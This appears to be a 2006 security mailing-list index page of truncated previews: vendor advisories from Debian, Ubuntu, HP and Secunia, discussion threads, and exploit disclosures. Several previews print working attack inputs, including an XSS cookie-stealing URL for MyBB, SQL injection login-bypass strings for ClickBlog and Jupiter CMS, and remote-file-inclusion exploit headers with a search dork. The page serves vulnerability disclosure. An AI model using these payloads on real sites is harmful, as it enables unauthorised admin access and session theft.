http://www.gnucitizen.org/blog/google-search-api-worms

The service that concerns me the most is Google AJAX Search API, the
new JavaScript powered search widget. In this article I cover the
potential problems with Google AJAX Search API and how it can be used
by web worms to propagate.

--
pdp (ar

[ more ]  [ reply ]

Hello

Title : MyBB Full path and Cross site scripting vulnerabilities

Discovered by : HACKERS PAL

Copyrights : HACKERS PAL

Website : WwW.SoQoR.NeT

Email : security (at) soqor (dot) net [email concealed]

xss

archive/index.php/forum-4.html?GLOBALS[]=1&navbits[][name]=33&navbits[][
name]=<script>alert(document.cookie);</

[ more ]  [ reply ]

# Signkorn Guestbook <= v1.3 Multiple Remote File Include Vulnerabilities

# Discovred By : ThE__LeO ;

# Software : Signkorn Guestbook v 1.3 ;

# Dork : "Signkorn Guestbook 1.3" & "Signkorn Guestbook 1.1 " Signkorn Guestbook 1.2"

# Exploit : http://Www.Exam

[ more ]  [ reply ]

It looks like the flaw is a buffer overflow and not a memory corruption
error.

Initially, FrSIRT has issued an advisory, "Microsoft Internet Explorer
"daxctle.ocx" KeyFrame Memory Corruption Vulnerability", detailing a new
zero-day Internet Explorer exploit. The exploit is reportedly successful
usi

[ more ]  [ reply ]

ENGLISH

# Title : Complain Center v1(loginprocess.asp) Admin ByPASS SQL Injection

# Author : ajann

# Exploit;

[CODE]

loginprocess.asp:

..

...

dim varUser

dim varPass

varUser=Request.Form("TxtUser") No Secure : )

varPass=Request.Form("TxtPass") No Secure : )

..

...

//Be

[ more ]  [ reply ]

+--------------------------------------------------------------------

+

+ ppalCart V(2.5 EE) Remote File Inclusion

+

+-------------------------------------------------------------------

+

+ Affected Software .: Software

+ Version .............: ppalCart 2.5 EE

+ Venedor ...........: ht

[ more ]  [ reply ]

ENGLISH

# Title : ClickBlog! <= v2.0 (default.asp) Admin ByPASS SQL Injection

# Author : ajann

# Exploit;

//Before join login page

http://[target]/[path]/default.asp

Username : ' or '

Password : ' or ' and Login Ok

# ajann,Turkey

[ more ]  [ reply ]

On Bugtraq and several other security forums, Hadmut Danisch <hadmut (at) danisch (dot) de [email concealed]>, a respected German information security analyst, recently published a harsh critique of one optional feature in the SID800, one of the newest of the six SecurID authentication tokens -- some with slightly different for

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1177-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
September 15th, 2006

[ more ]  [ reply ]

#====================================================================

#PhotoPost => 4.6 (PP_PATH) Remote File Inclusion Exploit

#====================================================================

#

#Critical Level : Dangerous

#

#By Saudi Hackrz

#

#http://www.popphoto.com/

#

#============

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1160-2 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
September 15th, 2006

[ more ]  [ reply ]

Does someone have more informations about a 0day on ActiveX?
Here's my links:

http://www.milw0rm.com/exploits/2358
http://blogs.securiteam.com/index.php/archives/600
http://www.xsec.org/

--
Tyop?

[ more ]  [ reply ]

Hello,,

Jupiter CMS Sql injections ,full path and xss vulnerabilities

Discovered By : HACKERS PAL

Copy rights : HACKERS PAL

Website : http://www.soqor.net

Email Address : security (at) soqor (dot) net [email concealed]

if magic_quotes_gpc = off

login with

user name :

' or id=1/*

or

' or authorization =

[ more ]  [ reply ]

General Objectives

The H2HC have as mainly objective offer a national and internation
conference for Brazilians Hackers, strongly the ethical of hacking.

We have as mission change and desmistify the word hacker from the
pejoractive sense to show the hacker as who works in software research and
sec

[ more ]  [ reply ]

# ERNE ---- ERNEALiZM ---- BU ASK BiTMEZ----

# mcLinksCounter v1.1 - Remote File Include Vulnerabilities

# site : http://www.comscripts.com/jump.php?action=script&id=847

# Script : mcLinksCounter v1.1

# Credits : ERNE

# Contact : erne (at) ernealizm (dot) com [email concealed] and irc.gigachat.n

[ more ]  [ reply ]

l0x3 (at) hotmail (dot) com [email concealed],

There have been many vulnerability reports like this, and they don't
seem to make sense.

You are the first one to say that you actually tested it, and it
worked. Because you called it 'weird', you also clearly understand
that this does not make sense.

Maybe it's a bug in a ver

[ more ]  [ reply ]

Vender has supplied a fix: http://forum.snitz.com/forum/topic.asp?TOPIC_ID=62773

[ more ]  [ reply ]

==================================================

Layered Defense Advisory 13 September 2006

==================================================

1) Affected Software

Symantec AntiVirus Corporate Edition 10.0

Symantec AntiVirus Corporate Edition 9.0

Symantec AntiVirus Corporate Edition 8

[ more ]  [ reply ]

#############################SolpotCrew Community################################

#

# phpQuiz v0.01 design and coding byJule Slootbeek (pagename) Remote File Inclusion

#

# Download file : http://www.furor-normannicus.de/phpQuiz/download/phpQuiz.zip

#

########################################

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SIP over TLS: X.509 peer authentication vulnerability in Ingate products
========================================================================

Product: Ingate Firewall and Ingate SIParator
Versions: all current versions
Tracking ID: 2829

Summary
==

[ more ]  [ reply ]

Blue Magic Board (BMB) is nice forum system written by http://bmforum.com

Some file error and show fullpath. I test newest version, maybe all older versions are infected.

http://domain.ext/[bmb_path]/footer.php

http://domain.ext/[bmb_path]/header.php

http://domain.ext/[bmb_path]/include/db/db_

[ more ]  [ reply ]

Hi,

(M.o.H.a.J.a.L.i) schrieb am Thu, 14 Sep 2006 02:17:53 +0300:

>Have You Tried it before commenting???

Of course, and include_location is initialized in 1.20
and 1.30.

>we know it has been initialized but it weirdly works...

Which PHP/Webserver/System?

Maybe it depends on special versions?

[ more ]  [ reply ]

#====================================================================

#Magic News Pro => 1.0.3 (script_path) Remote File Inclusion Exploit

#====================================================================

#

#Critical Level : Dangerous

#

#By Saudi Hackrz

#

#http://www.reamdaysoft.com

#ht

[ more ]  [ reply ]

#====================================================================

#PhotoPost =>4.6 (PP_PATH) Remote File Inclusion Exploit

#====================================================================

#

#Critical Level : Dangerous

#

#By Saudi Hackrz

#

#http://www.popphoto.com/

#

#=============

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c00705202
Version: 1

HPSBUX02126 SSRT051019 rev.1 - HP-UX running X.25 Local Denial of Service (Dos)

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

R

[ more ]  [ reply ]

===========================================================
Ubuntu Security Notice USN-346-2 September 14, 2006
linux-restricted-modules-2.6.15 regression fix
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LT

[ more ]  [ reply ]

======================================================================

Secunia Research 14/09/2006

- Tagger LE PHP "eval()" Injection Vulnerabilities -

======================================================================
Table of Contents

Affected Software.........

[ more ]  [ reply ]

I. BACKGROUND

Taken from the Blojsom Website :

"Blojsom is a Java-based, full-featured, multi-blog, multi-user software package that was inspired by blosxom. blojsom aims to retain a simplicity in design while adding flexibility in areas such as the flavors, templating, plugins, and the abil

[ more ]  [ reply ]